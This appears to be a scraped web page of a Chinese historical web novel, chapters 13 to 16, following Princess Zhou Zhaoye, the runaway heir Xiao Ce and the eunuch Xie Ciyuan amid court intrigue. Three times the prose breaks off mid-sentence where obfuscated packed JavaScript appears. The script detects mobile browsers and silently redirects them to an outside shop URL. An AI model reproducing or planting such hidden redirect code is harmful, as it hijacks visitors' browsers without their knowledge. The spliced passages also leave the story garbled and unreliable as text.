“你他妈晃点我!你就叫小二啊?!”富贵公子劲儿又上来了。 “贵客息怒。”崔兰止上前,示意小厮将一袋钱塞进那公子手中,“京中规矩,不许良家酒楼私做皮肉生意,年节刚过,都查得严,您也见谅。” 富贵公子骂骂咧咧地接了,还想再说什么,崔兰止微微侧身,露出了半块禁军生铁腰牌。富贵公子一见之下立刻噤声,拿了钱便离开了。见殿下下场,他便示意店家清场。 周昭野已经走到了小琵琶与店小二身边,饱含兴趣道:“这位小二,怎么还不放开人家姑娘的手啊?你也觉得人家美?” 店小二却没有理她,只回头皱眉看着小琵琶,半晌道:“那人虽胡言乱语,却也罪不至死。” 小琵琶冷笑一声,店小二加重了语气:“拿出来!” 他手上也加了点力道,小琵琶吃痛,一样东西从她绣着碎花的大袖里掉出来,是一把小刀,掉到地上,叮当一声,溅出去一小滩血。 周昭野道:“嚯。” 13.chapter 13 无名义士 小二把小琵琶的手举起来,只见那手指上一道刀伤几可见骨,血很快就染上了她已经起毛的大袖。崔兰止上前一步,将周昭野挡在身后,俯身捡起了那把刀。 只是一把削水果的刀,刀刃很小,小琵琶也只能搞到这样的东西护身。 然而她太紧张,面对着逼来的恶霸,还没来得及出手,却因为握得太紧而先割伤了自己。 店小二也没想到她竟然受了这么重的伤,似乎本来还想教训两句什么,最终却只道:“我带你去看郎中。” 小琵琶面无表情,感受不到痛似的:“我不去。” 店小二道:“这伤不去看郎中你的手就保不住了。” 小琵琶冷声道:“和你有什么关系?我要杀谁,和你又有什么关系?” 崔兰止道:“我把你放到望江楼,不是让你持刀伤人的。” 面对着给了自己容身之处的崔兰止,小琵琶无言以对,只是梗着脖子,很不服气似的,没有出言回敬。店小二看着崔兰止,皱眉道:“你是哪位?” 小琵琶看看这个,看看那个。店小二也是这两天才来望江楼,和她前后脚。望江楼毕竟是老牌酒楼,听说背后的东家也是达官显贵,能在这里讨生活的手艺人都不简单。 她跟店小二不认识,只是有一程半吊子的同讨饭碗的情谊。 至于这位腰佩铁牌的白衣公子,她不识字,只看得出背景深不可测。既然店小二帮她解决了麻烦,她也无意将他卷进什么漩涡。 她对店小二道:“与你无关,这是我的东家。东家,我……” 一个女声打断了她,声音清越,仿佛含笑。 “这刀连血槽都没有,你以为用它能保护住谁?”一柄折扇隔开了白衣公子,一位青衣玉带的俊俏郎君走上前来,却是个女子,“你不必道歉,我只有一个问题。” 这俊俏郎君打量了她一圈,没发问,感慨了一句:“哟,这皮肤。” 小琵琶:“……” 小琵琶冷笑道:“您一看就是个贵人,好保养好日子,当然肤如凝玉了。” 周昭野不恼,只好奇道:“如果没人拦下你,真把那公子哥儿捅出个好歹,你打算怎么收尾呢?” 小琵琶捂着手,一愣。 店小二皱眉道:“先去看郎中……” “看什么郎中。”周昭野一哂,“这伤除了大内的御医,谁治都要留残疾的。你找得到大内的御医?你有钱吗?” 店小二低头:他这两天穷得响叮当。 “我没想怎么收尾。”小琵琶回答道,“我就是不乐意,死就死了。” 周昭野赞道:“有血性。兰止,去请张大人,就说府上有位小姐受了严重的手伤,请他尽快来。” 她不知道从哪掏出一张面纱,递到小琵琶面前,象征性地询问道:“走不?” “贵人为什么帮我?” “因为你美。” “她不能走!”店小二却又跨了一步,拦在小琵琶身前,“你们还没说你们是谁,我们怎么能随便跟你走?” 周昭野奇道:“请问您是哪位?”——我没说要带你啊? “他根本就不会武功。”店小二一指崔兰止,冷声道,“你们来头不小,却不可能是禁军的人。京中达官显贵贪欲极甚,有更无耻可憎的去处。未见得就比刚才那人好!” 崔兰止道:“放肆!” “所言不错,我要带她去的地方,无耻是不缺。”周昭野同意又怜悯道,“兰止,去跟掌柜的说这位是个草莽英雄,留在店里只怕生事。请他赔点钱,然后解雇他吧。我们来看看穷困的阴沟和富贵险恶处,到底哪里更可憎些?” 店小二没想到这位贵人竟然如此不分善恶,一甩毛巾,怒道:“走狗安敢欺我如此?!” 这毛巾简直让他甩出了□□的架势,周昭野后退一步,仿佛怕了,妥协道:“或者还有第二条路,壮士你跟我一起来,你武功——这么高,如果真是个淫窝,你也好带着琵琶姑娘杀出去。” 她一摊手:“你看我和兰止两个都不会武功,你随便两下就把我们两个打死了嘛。” 店小二冷哼道:“我平生不与小人为伍,尊驾藏头露尾,实在不是君子所为。” “我姓周。”周昭野道,“大名昭野,封号定国,这还算藏头露尾吗?” 店小二:“……” 店小二:“?!!” 公主府。 店小二坐在银安殿里,下人们已经为他换上了一身墨色长袍,剪裁合身收腰利落,还有副皮护腕。 他默默地给自己绑着护腕,抬头打量四周。 公主府并不脂粉气,也并不十分富丽堂皇,乍一看去竟也没比镇北侯府漂亮到哪去。 “孤在府里捏着鼻子等了你好多天。”周昭野缓步进殿,也已经换下了男装,又是一袭青裙,两根玉簪,“没想到世子爷竟然隐姓埋名去跑堂了,这么缺钱哈?” 萧策道:“定国殿下。” 周昭野道:“萧世子。” 她一伸手,指着萧策身边的桌子道:“看见那桌子边儿上的裂了么?你爹上次来拍的。” 萧策:“……” 萧策道:“殿下怎么认出我的?” 周昭野道:“孤见过萧侯夫人。” 两人一阵沉默。 萧策清了清嗓子:“臣谢罪,殿下随便处罚。只是臣确实不能娶您。” 周昭野:“……” 周昭野道:“谁说孤乐意嫁了?” 萧策深深出了口气……仿佛放下重担。周昭野心想你娘的,真是萧破军教出来的没脑子儿子。 “世子爷好歹有官职在身,怎么混到去干跑堂的了?” 萧策心想这真是说来话长…… 他在截云关自然是少将军,走到哪里都有头有脸,可进了京城,镇北侯兼任兵部侍郎,他这点官职只不过是他爹手下的蚂蚱,说给停就停了。 他离家出走时身上就二两银子,他爹大概动了真怒,打点了一圈,偌大个京城愣是没人敢接济他这镇北侯世子,在外面饿了几天,就差去偷包子吃。 但叫他回去跟镇北侯服软,再去跟劳什子公主相亲,那是必不可能的。所以千辛万苦找了个跑堂的差事,干了三天就因见义勇为,被辞退了。 此中艰辛泰半不足为外人道也,更可恨的是竟然迎面撞上这定国公主,萧策只好沉默。 他没回答,转了个话题问:“殿下要小琵琶干什么?” “你喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254559|196829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢小琵琶?” “不喜欢。”萧策道,“只不过她也是一条性命,没道理被人折辱。” “那孤奉劝你。”周昭野道,“对人家女孩子的去向还是别有这么多占有欲。” 萧策:“……” “孤带你回来,是因为咱们想到一块去了。”周昭野道,“你不愿意娶,可得顾及镇北侯。孤不愿意嫁,却也要考虑闻阁老。孤帮你就是帮自己。” “在京城你没有根基,没法跟你爹硬抗,可截云关却不一定,天高皇帝远,谁也管不到你头上。”周昭野道,“孤给你两匹快马,五百两银票和通关文牒,萧策,回截云关去吧。” 萧策皱眉道:“殿下这是命令?” “别误会,不是。”周昭野道,“孤没有强迫的习惯。只是听说萧世子心怀家国,想留在沙场上。如今事情赶到这里,孤提供一个我们都舒服的办法。萧世子不愿意,孤就当没说过。” “我如果不走,殿下要怎么处置我?” “没什么好处置的。”周昭野道,“门在这边,请便。” 萧策忽而起身:“谢殿下,萧某告辞了!” 周昭野安坐原地喝茶:“世子慢走,孤不送了。” 然而萧策的脚步越来越慢,还没走到银安殿门口,就已经停步了。周昭野道:“世子怎么不走了,是因为穷吗。” 萧策:“……” 周昭野道:“来人,给世子拿点钱。” 立刻便有婢女上来,低眉顺眼地将五百两银票塞进萧策手里。 萧策:“……” 他手一哆嗦,好像这钱脏。 但他还是没走出去。 周昭野转动着盖碗,银安殿里一圈一圈的瓷声荡开。 “世子是个坦荡人。”半晌,周昭野意有所指道,“正巧,孤也是个坦荡人。” 萧策终于道:“我没地方去。” 本来也没有人接济他了,不回截云关,就只能回镇北侯府跟那暴怒的老爹服软了。再不就得去睡大街,或者拿着公主的五百两银票去住店——他能吗?他不能吗?他能吗? 周昭野‘哦’了一声:“回截云关于你是上策,你不干。留在京城里就得娶孤,不娶就要去睡大街。你不想娶——萧策,你到底回京城干什么来的?” 她彬彬有礼地一抬手:“总不至于真是述职吧?要真是,萧世子请讲,孤洗耳恭听。” 萧策长出了口气。 “截云关确实不好……”他道,“可还没到危如累卵的地步。这些年来截云关的军费不够 ,我查过账,连基础的军备都不足以承担。可年年却都有精良的武器和粮草送到营里。我探查了一圈,不止截云关。西北诸营,都有类似的情况。” “想必镇北侯府自有办法了。” “不……跟镇北侯府没有关系,不是我们家的路子。”萧策说,“我顺着线索查过是谁做的这些事,可那人非常隐秘,根本抓不住行踪。我只能从这些东西的流向,猜到背后或许是京城的人。” 周昭野皱眉:竟有这等事,她也不知道。 能供给西北各营的所有军需……此人的财力,居心,都让人不得不深思。 萧策道:“我回京来,是为了找到这个人。” 14.chapter 14 选择 他静等着这位定国殿下的下一句回复,然而定国殿下半晌说:“那祝世子爷万事顺利。孤就不多耽误功夫了。”说着竟然起身就要离开。 萧策道:“殿下!” 周昭野道:“世子爷坦诚相告,孤很感念。可这事牵扯太深,孤一个姑娘家,实在没必要趟这趟浑水。” 她的脚步丝毫不停,马上就要走出门扉,萧策情急之下两步跟了上去,一把抓住了她的手腕:“殿下……殿下!周昭野!” 周昭野停步,侧脸淡淡地看着他。 “这人既然能供给西北各营军备粮草,沿途关卡一路放行,甚至各地将领都没察觉出明显的不对,此人对西北的渗透与了解都难以想象!假如这人包藏祸心,后果不堪设想!”萧策怒道,“这并非是我萧策无事生非叫殿下得罪人,是顷刻之间便有大患的国事!定国殿下!卧榻之侧岂容他人鼾睡,你明不明白!” 周昭野道:“请世子爷放手。” 她的目光清如坚冰,萧策下意识放了手。 周昭野道:“卧榻之侧不容他人鼾睡,世子爷说得好。可这天下是圣上的卧榻——说得难听些,西北兵马,那是你们萧家的卧榻。这事你怎么不禀明圣上,或者干脆告诉你爹呢?怎么就非得我周昭野来管呢?” 萧策一窒。 他这次回来的确进过一次宫,面过一次圣。皇帝养得白面微胖,婴儿肥都没褪干净。见武将述职,身边伺候着一位两位——两位!貌美如花的宫嫔,每说两句话就给皇帝递个葡萄。 而当天的对话是这样的。 萧策:“回圣上,截云关外蛮族异动,关外大汗退位,新汗年富力强,待他们部落里的事料理干净,这两年边境恐怕有祸事。” 皇帝:“什么祸事?” 萧策:“……这不好现在预测,只是臣与那新汗曾经交过两次手,此人心机深沉谋求甚广,恐怕有侵吞我朝国土之意。” 皇帝:“派个人去把他杀了就没事了。爱妃手真巧,看这葡萄扒得晶莹剔透的……” 萧策:“?此事牵连甚广,这关外大汗并非臣说杀就能杀……” 皇帝:“那大汗今年多大啊?” 萧策:“三十有一。” 皇帝:“那还没到老谋深算的年纪呢,我朝多少人这岁数连科举都没考过——爱卿不必过于忧心,不是大事。” 萧策:“但西北诸营……” 皇帝:“西北总共多少个营来着?你们加强巡防,要是还有不明白的,就去找皇姐。啊,就这样吧,爱卿可以退下了。” 萧策有一万句话也说不出来了:皇帝的脑仁恐怕还没个核桃大,禀明他只有打草惊蛇的作用。 至于他爹…… 萧策绷紧了唇角。大丈夫理应忠君报国,他想忠,也想报,想守护天下,安定四方。然而进了京,到处都是些蝇营狗苟和女人裙带,呆了不到一个月,简直是心灰意冷。 他不知定国殿下是什么样的人,只是既然能在望江楼一口叫破他的身份,又说了这些话:至少不是个傻子吧。 可定国殿下也计较,怕牵连广,怕得罪人。他还能找谁呢?他还能干什么呢? 很久,萧策沉沉道:“我不知道还能找谁了。” 他又说:“他们说你定国辅政……” 周昭野长出了口气:“所以才知道,有些事,只要它能正常地运转下去,那么是谁让它运转下去的并不重要。如果大张旗鼓地查上一通,最后却大伤元气,没有好处,是不是在最开始就把眼睛闭上比较好呢?” 萧策道:“你怎么就知道一定会大伤元气?” 周昭野一哂:“萧世子别钻牛角尖了,回去吧。” 她迈步出门,萧策仿佛突然被她的背影刺激,突然怒道:“定国殿下!” “你说自己是个姑娘家不愿掺合进来,可定国辅政,牵扯又何其之广!连我爹都拿你当个人物,那生民之苦,四方安定,你不在乎吗?你为了什么呢?你也只为了权势吗?!” 周昭野摆了摆手:“你觉得是什么就是什么吧。” 公主府后院。 小琵琶从洒满了花瓣与牛奶的青石池子里走出来,立刻便有婢女沉默上前,将一大块锦缎裹在她身上吸水。 小琵琶感觉整个人都晕乎乎的。 也不知道这府邸是什么厉害地方,竟然能让人每天都洗澡,每次洗澡不是花儿就是奶的。天爷,这在她家里是逢年过节才喝得上的东西,这儿随随便便,每天都能来一桶。 就现在用来给她擦水的这块绸子:在进这个府邸之前,要是有这么一块料子,她只会做一条足够隆重的裙子,然后过年的时候才拿出来穿。 婢女们擦完水就把那绸子丢在一旁,随即就撤下去了。 又有人引着她去梳妆镜前坐下,在梳子上涂抹芬芳馥郁的花油——她都闻不出来那是什么味儿——然后一点点给她梳头发,从头到尾垂眉敛目,好像她是什么天上的仙女,甚至不敢跟她说话。 这几天她都没见过那两位公子,倒是第二天妹妹就也被送进来了,欢天喜地地跟她说这里东西好好吃,有个好看哥哥跟她说请了个先生给她教书! 这话一出小琵琶再多的疑惑和不满也都先压了下来。 好吃好喝不算稀奇,可愿意请人来教书,正经是大家小姐才有的待遇。她再不晓事,也该感激。 可这到底是哪儿啊?那两人把她们姐妹留在府里,是想做什么啊? “住得怎么样?”一道女声打断了她的思虑。 她回头,只见一个青裙金带的女子缓步进屋,正是那天做男装打扮的人。眉目清秀漂亮,可气度沉定高贵,连望江楼的掌柜也及不上。 ……当然及不上了,这府邸面积比望江楼大,府邸的主人,地位应该也比那酒楼老板高很多才是。 小琵琶道:“小女子见过……” “虚礼不用,坐着就好。”周昭野走过来,接过木梳,非常自然地为她梳起头发来,“皮肤倒好说,头发却难养。你从前亏空太多了。” 小琵琶道:“我住得很好,这儿简直跟仙境一样。你……您是谁啊?您哪里用得上我呢?” 周昭野沉吟道:“嗯……我需要你做什么,这个很难回答。我叫周昭野,当今圣上,是我亲弟弟。” 小琵琶一愣,随即大脑一片空白,本能地站起来,就要跪下。然而周昭野握着她的头发,她只好又别别扭扭地坐下。 “公主殿下……想要小人做什么?” 周昭野十分新奇地梳着:她每次自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263762|196829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己坐在那儿等别人梳头时都心烦得要死,没想到给别人梳这么好玩,有点上瘾:“你猜猜。” 小琵琶的声音颤颤巍巍:“小人,小人……” “大胆猜嘛。” “或许殿下需要小人为驸马……额,开枝散叶……” 周昭野:“……” 周昭野奇道:“这都叫你猜到了?” 小琵琶欲哭无泪,她没见过活的公主王孙,但从小看过不少野戏。戏里的公主要么是生不出来孩子,找个人来替自己生孩子,生完就把娘杀掉;要么是与驸马不睦,打不过后院厉害的妾室,所以自己找一个人来共同抵抗厉害的妾室……公主找美貌女子还能有什么事!天啊!她要给驸马做妾了吗!谁是驸马?那个崔公子吗?! 长得倒还挺好看的! 周昭野道:“那你愿意吗?” 小琵琶道:“……小人能拒绝吗?” “能。”周昭野挑了个蝴蝶穿花簪子,举起来对着她的脸比了比,突然感觉有点眼熟,好像是谢辞渊送的。 她随手放下,又拿了根别的为她簪上:“孤不好勉强,你如果不想,也可以离开,或者留下做个婢女。” 小琵琶道:“那小人的妹妹……” “哦,可以一起留下,孤不缺这一口饭。”周昭野满意地看着自己簪出来的发髻,问道,“好看吗?” 小琵琶道:“……好看。” “只不过杂役使女,读书识字是难了。” “小人……” “孤确实想让你嫁个人,不过这人不是驸马,孤没有驸马。”周昭野道,“而是皇帝。” 小琵琶手一抖,心下惊涛骇浪,然而没说出话来。 “你不必管为什么,也不必管怎么办,只说你愿不愿意就好。”周昭野道,“如果你同意,你和你妹妹从此会有一个清白身份,一个正经名字。什么‘小琵琶’都是没人再敢提的往事。你妹妹不用进宫,有个官家小姐的身份,将来正经许个亲,怎么都比在酒楼后厨洗碗强。” “如果不愿意,孤也不勉强,就当刚才这番话没说过。你和你妹妹留下来做个婢女,也是清白身份,将来有什么前程,就都是你们自己的事。” 小琵琶道:“我竟然配吗?” 周昭野一哂:“配得很。” 皇帝最近的新宠不也是个宫女,乃是犯官家眷,没比小琵琶强到哪去。依小琵琶的才貌,背后如果有定国公主府,怎么不能争上一争? “殿下为什么对我这么好?” “不用问。” “那殿下需要我做什么?” 周昭野道:“什么也不用做,只要记得你是定国公主府出去的人就好。” 出身贫寒,不倚不靠,和太后,闻阁老,谢辞渊都没关系,也很难有关系,这就足够了。 “我……不知道。”小琵琶茫然道,“您跟我说这些,我都听不懂。” “没事,慢慢想吧。”周昭野道,“我会给你老师和宫里的嬷嬷,教你读书识字和宫里的规矩,另有婢女来服侍你。你有一个半月的时间,来慢慢思考这个问题。” “下个月圣上会来我这儿用膳小聚,席间我会安排你侍奉。”周昭野道,“你能见到皇帝的机会只有这一次,随你怎么选。” 15.chapter 15 以身相许,红袖添香 是夜,风凉如水。 天气已经渐渐暖和起来了,夜里静悄悄的,好像能听见那些树慢慢长出新叶的声音。公主府种了很多树,风一过,那些枝条彼此拍打。 崔兰止睁开眼睛。 也不知是不是他这辈子就过惯苦日子,公主府高床软卧,比八松街的破屋舒服多了,可他却越来越睡不着。 昭野。他想,周昭野。已经有十年了吗? 他比周昭野大四岁,眼睁睁看着她从强迫自己提刀杀人的少女,变成手握重权的定国公主。她跟太后没什么交情,幼弟还指望着她照顾,先皇走后,不知道多少担子劈头盖脸地压下来。 最开始的时候她不擅长朝政,很多事根本不知道怎么办,朝廷里有人质疑她的能力——幸好当时闻阁老出面站在她背后,扶着她建立起了公主府如今的班底。 其间种种艰辛不足为外人道也,她不能哭。只是睡不着,半夜在偌大的湖边走来走去。 所以他也就在旁边陪着,给她出主意,但更多的时候只是把披风披在她肩膀上。他不留宿公主府,最后总要回家,每次离开,看着周昭野一个人站在原地的身影,总觉得像是抛弃了她。 可他看周昭野,像妹妹,像主公,却唯独不像一个女人。或许也是因此,哪怕闻阁老当面跳脸,他也发自内心的……并不生气吧。 从最开始,他就知道周昭野是怎么想的。为什么救下他,为什么留他在身边。这是天大的恩情,哪怕她从未提及什么报答,可他心里明白。 如果性别身份对调,他早该以身相许,红袖添香了。 以身相许?成亲会怎么样呢?崔兰止想,怪。 挑开盖头,解开衣衫,同床共枕。他做得到吗?好怪。如果非要如此,也不是不行,可他心里莫名的抗拒。 哪怕就像那些人说的,那些人设想的,殿下找个门当户对的公子,哪怕就萧策,以崔兰止来看,那萧世子为人正直,未必不算良配。之后哪怕让他当个暗地里的男宠——只要别老找他侍寝,他好像也能接受,甚至比当正经的驸马能接受些……等等,崔兰止,你想到哪里去了! 他长出了口气。 不能这样。 即便心里这么想,他也不能对殿下说。殿下顶着得罪闻阁老,都要为他争得堂堂正正的一席之地,这样的话说了,就太辜负她了。无论如何,他不该叫她寒心。 可顶着得罪闻阁老,放弃那么多联姻能带来的实在利益,只得到一个身在心不在,心里八百个心思的他,难道这对她就公平吗? 但他答应了,他会努力。 他沿着湖慢慢走,静的像是一袭白色的影子。 公主府后院有一大片湖,种满了莲花。现在还没到季节,只有干枯的枝桠。湖边有一水榭,是周昭野平时放松时常去的地方。崔兰止一愣,看见那水榭里透出暖黄的灯光来。 已经三更天了…… 水榭里焦香四溢。 崔兰止一进去就开始咳嗽,正看见周昭野失望地将勺子一丢,看见他来,眼睛亮了一下:“兰止!” 崔兰止道:“殿……阿野,怎么没睡觉?这什么?” “我想试试自己煮个梨,结果烧焦了。”周昭野叹了口气,“谢辞渊怎么就煮的那么香?跟哪儿学的手艺啊?” 崔兰止上前,低头往小砂锅里看了一眼,果然焦了,梨都黑了。定国殿下厨艺十分一般,估计梨核还是自己尝试着掏的,这梨的死状简直惨不忍睹。 崔兰止起身:“我叫厨房做点送来吧。” “别走,”周昭野道,“算了,也不是想吃,就是想玩。” 崔兰止于是不走,陪着周昭野坐下:“最近你提起谢辞渊的次数变多了。是咱们要跟他打交道吗?” “不好说。”周昭野道,“我觉得这个人很危险。但又……” 她总是想起归去来地下明明暗暗的光影,谢辞渊身上的甜香味儿。在崔兰止那些意味不明的沉默中,她恍惚总听到谢辞渊的声音。 哪怕硬留在身边压他演戏,演上八十年直到盖上棺材板,怎么不算情深意长的一生一世? 忽而又是那个铺天盖地美人卷的偏殿,她以为这佞臣做派的太监会借机狮子大开口,然而对方只淡淡地说,吃个饭吧? 佞臣就是这样,何况谢辞渊长得也好,眉目秀气,长眉锋利,然而双眼到眼角处却微微下垂,仿佛含情,时刻有点委屈,人却又阴郁,混合成了一种说不清的吸引力。 “……说不上。”周昭野最终道,“不提他了。你怎么这时辰出来?睡不着吗?” 崔兰止道:“那你怎么也不睡?” 周昭野沉默,然后微微笑起来:“愁。” 崔兰止道:“愁什么?” 周昭野看了崔兰止一眼,仿佛千言万语,崔兰止下文就哽在喉咙里再没说出口。 这么多年了,就像他明白周昭野一样,周昭野也明白他。 因为对彼此足够重要,所以字斟句酌;又因为太了解彼此,伤人的真话谁都不敢先说出口。 过了很久,崔兰止分不清周昭野是不是在等他说什么,也不知道她在想什么。然而他还是沉默,他只能沉默。周昭野似乎叹了口气,很累地道:“萧策这两天在做什么?” 她不是想问萧策。崔兰止想,有什么梗在胸膛里,就是阻挡着他说出该说的话。 他可耻地轻松了些:“萧世子这两天很惨。镇北侯府到处在抓他,简直像贼一样东躲西藏,但每天早上,会来咱们府门前吃顿包子。” “哈哈。”周昭野笑了一声,“他大概想不到有一部分追他的人是咱们假扮的。” 崔兰止道:“殿下想晾他到什么时候?” 周昭野道:“看情况吧。这人性格太冲,太把自己当回事,吃点苦对他有好处。” 她感慨道:“在京城没了镇北侯府连个容身之处都搞不到,他还想查什么?知道人家大门朝哪头开吗?” “殿下有头绪了吗?” 周昭野叹了口气,绕回了这个人名:“谢辞渊。” “镇北侯府和谢辞渊一贯不对付,”崔兰止疑道,“谢辞渊为什么背后供给西北军需?” “不一定是谢辞渊供给,但是他一定知情。”周昭野道,“运送军需,中间一路的关卡都有圣安司这些年设下的哨站,常开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264746|196829||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战的地方都有随军太监,谢辞渊不是个饭桶,无论谁想办这种事都不可能绕过他。” “所以殿下不着急。”崔兰止了然,“谢辞渊不管有什么目的,都不敢真的伤及皇家根本。” 周昭野叹道:“是啊。历代皇帝忍受宦官,大抵都是这么想的。” “那还查吗?” “查啊。”周昭野一乐,“萧策想查,咱们就……兰止你看,那边怎么了,天怎么这么红?!” 他们两个一起抬头,只见东南处天空一片火红,几乎像是旭日初升,那是皇城的方向。谁家起火能烧得这么旺? 那个方向是谁家……周昭野脱口道:“圣安司!” 崔兰止皱眉道:“火光能冲这么高,可别烧到宫里去。” “不会,宫里日夜有人巡防,哪怕起了火也不怕。可圣安司也有啊,他们办案日夜不休的,而且这天气还这么冷……”周昭野霍然起身,“走,这事儿不对,咱们去看看!” 圣安司大概本朝以来从来没这么热闹过。 黑烟滚滚冲天,热浪扑脸,无数黑衣人来回奔忙救火。谢辞渊随手解开披风丢给小顺子,火光映亮了他冷漠的脸。 好像烧的不是他家衙门。 谢辞渊道:“你猜第一个来的是谁?” 小顺子道:“只怕是京兆尹。哪里来的大胆宵小,竟敢来这儿纵火!等抓到了,奴才非得将他抽筋拔骨!” 长街尽头传来了哒哒的马蹄声。谢辞渊回头,盯着那从容驶来的马车。 周昭野掀开车帘:“嚯,烧成这样!哟,谢公公,您也没睡啊!” 谢辞渊:“……” 她感慨了一声:“真是无眠之夜。大家都没睡。” 谢辞渊道:“殿下这是来?” “孤怕火势太大殃及皇城,所以来看看情况。”周昭野想了想,又补充道,“也来看看谢公公,毕竟是国之栋梁,可别受伤了。” “劳殿下惦记,咱家一切都好。”谢辞渊也礼貌道,好像他们两个没吃过饭,没有人提出邀请,也没有人被拒绝。 “这个时辰,公公怎么不回谢园休息呢?” “咱家有桩要紧事要处理。”谢辞渊道,“没想到突然起火,蔓延极快,简直是奔着要咱家命来的。” 周昭野道:“公公最近得罪什么人了?” “咱家多凶神恶煞一个人呢?值得别人这样来杀。”谢辞渊道,“殿下说巧不巧,圣安司最近最要紧的案子就是那江南郑郎中的案子,也正恰恰好——这火,偏偏就把郑郎中的尸身和卷宗烧掉了。咱家正想着,谁会是第一个来看这场火的呢?” 周昭野:“……” 周昭野道:“谢公公不会怀疑是孤放的火吧。” 谢辞渊低眉顺眼地说:“咱家不敢。” 周昭野道:“人死如灯灭,郑郎中的尸身,又有什么可烧。” “殿下似乎很关心郑郎中的事。” “不过是上次在归去来听公公提过一嘴,以公公之能,这么久竟然都没个说法,孤有些好奇。” “不好有说法啊。”谢辞渊似真似假地叹道,“殿下,牵连甚广呀。” 16.chapter 16 班底 周昭野奇道:“什么样的牵连,还能叫谢公公这样忌惮?” “连圣安司都说烧就给烧了,不管牵连的是谁,肯定是不怕咱家的。”谢辞渊道,“只不过烧了尸身能有什么用,这么久过去了,该查到的都查到了。” 周昭野心尖一跳。 自从她收到张彦的信,一直让兰止在暗中追查此事。此人进京不到半个月就被杀了,留下的痕迹少得可怜。她手里虽然有追杀张彦那杀手的尸体,更是没有什么收效。 凶手本人没有任何背景,只是被雇佣的刀手,会出现在归去来,八成是在圣安司和京兆尹的追捕下走投无路,想去求归去来地下黑市帮忙,可惜还没摸进门去,就被各方势力发现了。 张彦是江南随州人。她派了暗探去江南打探底细,可江南不知道是什么龙潭虎穴,暗探下去如同泥牛入海,无声无息地就消失了。派人去查问江南官府,然而交上来的回复只说张郎中已经无缘无故消失很久,上峰也很震怒。 她早知道此事水深,只是选秀在即,各地都有琐事处理,没有心思查问。 火光熊熊,映在她眼瞳里。圣安司百年的官府,横梁被烧断了,咣当一声巨响,消失在几丈高的火焰里。 上百年来,圣安司都是皇家袖刀,积威甚重,谢辞渊不说只手遮天,也相差不远。这百年的官府说烧就烧,圣上的红人说杀就杀,哪里来的胆子? 她或许太小瞧这件事了。 谢辞渊没说话,周昭野沉吟半晌,问道:“谢公公查到哪一步了?” 谢辞渊笑了一下,透出一些‘你还说不关心’的意思来。 “咱家派人暗下江南,不过传回来的消息,都是些郑郎中生平,无甚可说。最关键的一处信息,的确倒还在郑郎中的尸身上。”谢辞渊不卖关子,直接道,“是一张纸条,不过语焉不详,咱家只能推测是个方位。” 周昭野道:“方位?” “殿下大约心里有数,上次在归去来,叶锦和说郑郎中手里有一样要紧东西,与很多钱有关。咱家猜,或许这方位就与这东西有关吧。” “既然有方位,谢公公直接去找不就得了。”周昭野不动声色道,“还有圣安司翻不出来的东西?” 谢辞渊道:“咱家与殿下说明白话,没有藏着掖着,殿下就不用下套了。那方位语焉不详,是半个字谜。圣安司再神通广大,缺这一步,也推不下去。” 风陵津渡小重楼。周昭野想。 “孤很有兴趣听听这半个字谜的内容。” 谢辞渊失笑:“有个人为了掩盖这半个字谜把圣安司烧得跟他娘炉灶一样,咱家倒轻易就说?易地而处,殿下敢说吗?” 周昭野一摊手:“有什么不敢的?烧都烧了,说出来,烫手山芋往外一扔,跟孤什么关系?” 谢辞渊:“……” 敢情烧的不是定国公主府。 “咱家倒也不是不能说。”谢辞渊道,“上次在归去来时咱家跟殿下说的话,殿下心意回转吗?” 周昭野一顿,谢辞渊轻飘飘地感慨道:“河洛的疫情,关外的战事,开了春还要选秀,说话间就是两场大婚。国库可捉襟见肘啊,殿下。” 他娘的,周昭野心里想,没有天理了,人穷志短,太监都敢来拿捏她。 截云关暂时倒不是大事,但疫情赈灾是没办法的事,至于大婚——她刚看过折子,预算七砍八砍,九十六万两白银。 但毕竟是皇帝大婚,再砍下去就不像样了。 气氛一时僵持,见周昭野不答,然而也没走。谢辞渊又轻轻道:“咱家记得殿下曾经说过,金枝玉叶,不受威胁。不如这样,咱家终究是想知道另外半个字谜在谁那儿,殿下帮咱家查查?” 周昭野‘哦’了一声:“孤帮你?” 谢辞渊上前一步,扶住了周昭野的车窗,微微仰头看着她,轻声细语地说:“我对殿下,终究是忠心的呀。” 车内暗处,崔兰止在周昭野手背上轻轻叩了两下。 周昭野似乎觉得很有意思,笑了一声,撂了车帘,示意车夫可以离开了。 谢辞渊站在原地,语气轻的仿佛在问天,没头没尾道:“那些首饰,不喜欢么?” 车架悠悠远去,很快就消失在长街尽头了。 三日后小朝会又吵了个天翻地覆。 